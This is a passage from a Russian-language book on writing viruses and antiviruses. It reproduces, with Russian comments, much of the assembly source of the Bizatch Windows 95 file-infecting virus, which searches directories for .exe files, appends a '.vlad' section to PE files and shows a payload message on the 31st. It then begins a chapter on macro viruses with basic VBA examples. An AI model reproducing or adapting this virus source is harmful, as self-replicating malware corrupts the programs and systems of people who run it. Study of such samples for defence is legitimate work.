Игорь Гульев - Создаем вирус и антивирус
jz outty
;Ищем следующий файл
lea eax,[ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
;Если файл найден, переходим к заражению
or eax,eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
xor eax,eax
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdir1]
mov ecx,256/4
rep stosd
;Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
;Сменим директорию на ”.”
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdir1]
push edi
push 255
call GetCurDir
;Проверим, корневая ли это директория. Если да, то выходим
mov ecx,256/4
rep cmpsd
jnz infectdir
;”Заметаем следы” и выходим в программу−носитель
outty:
;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir
;Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
;Проверим число. Если это 31−ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
;Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax,[ebp+offset boxtitle]
push eax
lea eax,[ebp+offset boxmsg]
push eax
push 0
call MsgBox
;Выход в программу−носитель
nopayload:
pop eax
jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd 0BFF93B95h
;Значения KERNEL, известные нам
kern1 dd 0BFF93B95h
kern2 dd 0BFF93C1Dh
;Чтение текущей директории
GetCurDir:
;Запишем в стек значение для получения текущей
;директории и вызовем KERNEL
push 0BFF77744h
jmp [ebp+offset kern]
;Установка текущей директории
SetCurDir:
;Запишем в стек значение для установки текущей
;директории и вызовем KERNEL
push 0BFF7771Dh
jmp [ebp+offset kern]
;Получение времени и даты
GetTime:
;Проверим, какой KERNEL работает
cmp [ebp+offset kern],0BFF93B95h
jnz gettimekern2
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
push 0BFF9D0B6h
jmp [ebp+offset kern]
gettimekern2:
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
push 0BFF9D14Eh
jmp [ebp+offset kern]
;Вывод сообщения
MsgBox:
;Запишем в стек значение для вывода сообщения и вызовем KERNEL
push 0BFF638D9h
jmp [ebp+offset kern]
;Поиск первого файла
FindFile:
;Запишем в стек значение для поиска первого файла
;и вызовем KERNEL
push 0BFF77893h
jmp [ebp+offset kern]
;Поиск следующего файла
FindNext:
;Запишем в стек значение для поиска
;следующего файла и вызовем KERNEL
push 0BFF778CBh
jmp [ebp+offset kern]
;Открытие/создание файла
CreateFile:
;Запишем в стек значение для открытия/создания файла
;и вызовем KERNEL
push 0BFF77817h
jmp [ebp+offset kern]
;Установка указателя чтения/записи
SetFilePointer:
;Запишем в стек значение для установки
;указателя чтения/записи файла и вызовем KERNEL
push 0BFF76FA0h
jmp [ebp+offset kern]
;Чтение из файла
ReadFile:
;Запишем в стек значение для чтения из файла и вызовем KERNEL
push 0BFF75806h
jmp [ebp+offset kern]
;Запись в файл
WriteFile:
;Запишем в стек значение для записи в файл и вызовем KERNEL
push 0BFF7580Dh
jmp [ebp+offset kern]
;Закрытие файла
CloseFile:
;Запишем в стек значение для закрытия файла и вызовем KERNEL
push 0BFF7BC72h
jmp [ebp+offset kern]
;Счетчик заражений
countinfect db 0
;Используется для поиска файлов
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя сообщения, выводимого 31−го числа
boxtitle db ”Bizatch by Quantum / VLAD”,0
;Сообщение, выводимое 31−го числа
boxmsg db ”The taste of fame just got tastier!”,0dh
db ”VLAD Australia does it again with the world”s first Win95 Virus”
db 0dh,0dh
db 9,”From the old school to the new. ”,0dh,0dh
db 9,”Metabolis”,0dh
db 9,”Qark”,0dh
db 9,”Darkman”,0dh
db 9,”Quantum”,0dh
db 9,”CoKe”,0
messagetostupidavers db ”Please note: the name of this virus is [Bizatch]”
db ”written by Quantum of VLAD”,0
;Данные о директориях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
;Используется для смены директории
dotdot db ”.”,0
;Используется для получения времени/даты
systimestruct:
dw 0,0,0
day dw 0
dw 0,0,0,0
;Индекс для поиска файлов
searchhandle dd 0
;Маска для поиска
fname db ”*.exe”,0
;Описатель открытого файла
ahand dd 0
;Смещение PE−заголовка в файле
peheaderoffset dd 0
;Смещение таблицы объектов
ObjectTableoffset dd 0
;Количество записанных/считанных байт при работе с файлом
bytesread dd 0
;Новый объект
newobject:
oname db ”.vlad”,0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0C0h
;Данные, необходимые для заражения файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
;Область памяти для чтения остатка PE−заголовка и таблицы объектов
vend:
db 1000h dup (0)
ends
end vstart
Глава 4 Макро-вирусы
В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA, его процедурах, функциях, стандартных конструкциях.
Как известно, в последнее время большое распространение получили макро-вирусы. По сведениям из различных источников, на эти вирусы приходится от 70 до 80 процентов заражений. Изложенный ниже материал поможет разобраться в вирусах этого типа.
Инструментарий
Для изучения макро-вирусов понадобится некоторое программное обеспечение. В качестве «полигона» необходим MS-WORD версии 6.0 или выше. Для изучения зашифрованных макросов может пригодиться дизассемблер макросов (автор AURODREPH из VBB). Для более полного понимания всего изложенного ниже желательно иметь базовые знания о WORD BASIC.
Чтобы обезопасить рабочие файлы от плодов экспериментов, настоятельно рекомендуется создать резервную копию шаблона NORMAL. DOT в каталоге WINWORD6TEMPLATE, так как именно этот документ обычно заражается макро-вирусом. Когда все готово, самое время перейти к основам макро-вирусов.
Общие сведения
Макрос – это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, а WinWord – WB).
Далее будем считать стандартным языком VBA, так как он представляет собой попытку унифицировать макроязык, сделать его общим для всех программ Microsoft. Несмотря на то, что WB имеет некоторые отличия, в том числе и в синтаксисе, структура кода этих языков похожа. При необходимости будет особо отмечено, что речь идет о WB. Макрос VBA – это вызываемые процедуры. Они бывают двух типов: процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы могут исполняться непосредственно или вызываться из других макросов. Синтаксис их следующий:
Sub <Имя_Макроса>
−> код макроса <−
’Комментарий начинается с апострофа
End SubПример:
’Данный макрос открывает диалоговое окно и выводит сообщение
Sub Stupid_Greeting
MsgBox ”Hello World!”
End SubПроцедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис:
Function <Имя_Функции>(Аргументы)
−> Инструкции <−
’Комментарий
End FunctionПример:
’Суммирует параметры a и b и возвращает
’результат в переменную ”AddAB”
Function AddAB(a,b)
AddAB=a+b
End FunctionКонечно, в документ можно вставить столько макросов, сколько нужно (или сколько хочется), ограничений на их количество нет. Набор макросов (процедур-подпрограмм и процедур-функций), составляющих документ, называется модулем VBA.
Язык VBA работает также с объектами (внутри модулей VBA можно делать ссылки на документы, графику). Объекты обладают свойствами. Например, свойством (или атрибутом) объекта является его цвет.
VBA также позволяет работать с переменными. Как любой язык структурного типа, VBA имеет типичные конструкции:цикл «For-next»:
Sub Counter ’Процедура
Infect_Num=0
For Count=1 to 10 ’Цикл от 1 до 10
Infect_Num=Infect_Num+Count
Next Count
MsgBox ”Достигли максимального количества заражений”
End Subусловие «If-then»:
Sub Infect_Check
If Infect_Num=0 Then MsgBox ”Файл не заражен”
End Subконструкция «With-end with» (используется для работы с несколькими свойствами конкретного объекта):
Sub ChangeProperties
With Selection
.Font.Bold=True
.Font.ColorIndex=3 ’красный цвет
End With
End Subселектор «Select case-end case»:
Sub Check_Infection
Select Case Infect_Num
Case 0
MsgBox ”Файл не заражен”
Case is > 0
MsgBox ”Файл заражен”
Case is < 0
Infect_Num=0
End Case
End SubПолезным инструментом для работы с VBA является окно отладки. В нем можно трассировать код, вносить в него изменения и делать многое другое. В процессе отладки для остановки на некоторое время исполнения кода используются флаги. Чтобы можно было анализировать содержимое конкретных переменных и/или инструкций, после каждой команды выводятся сообщения (в отладчике VBA для прерывания исполнения кода можно ставить также контрольные точки). Нужно обратить внимание на разнообразные аргументы функций. Как уже говорилось, структура их следующая: